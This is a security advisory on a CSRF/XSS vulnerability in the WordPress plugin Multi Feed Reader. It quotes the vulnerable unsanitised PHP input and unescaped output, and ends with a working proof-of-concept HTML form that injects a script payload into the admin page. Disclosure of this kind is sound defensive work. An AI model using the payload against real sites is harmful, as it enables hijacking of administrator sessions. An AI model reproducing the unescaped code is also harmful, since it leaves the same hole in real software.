Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader
Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.
The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.
As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):
74 75 76 77 78 79 80 81 | // CREATE action } elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) { $name = $_POST[ 'mfr_new_feedcollection_name' ]; $existing = FeedCollection::find_one_by_name( $name ); if ( ! $existing ) { $fc = new FeedCollection(); $fc->name = $name; |
The name is output without being escaped in a number of locations including line 393 of the same file:
<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">
We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST"> <input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- June 12, 2017 – Developer notified.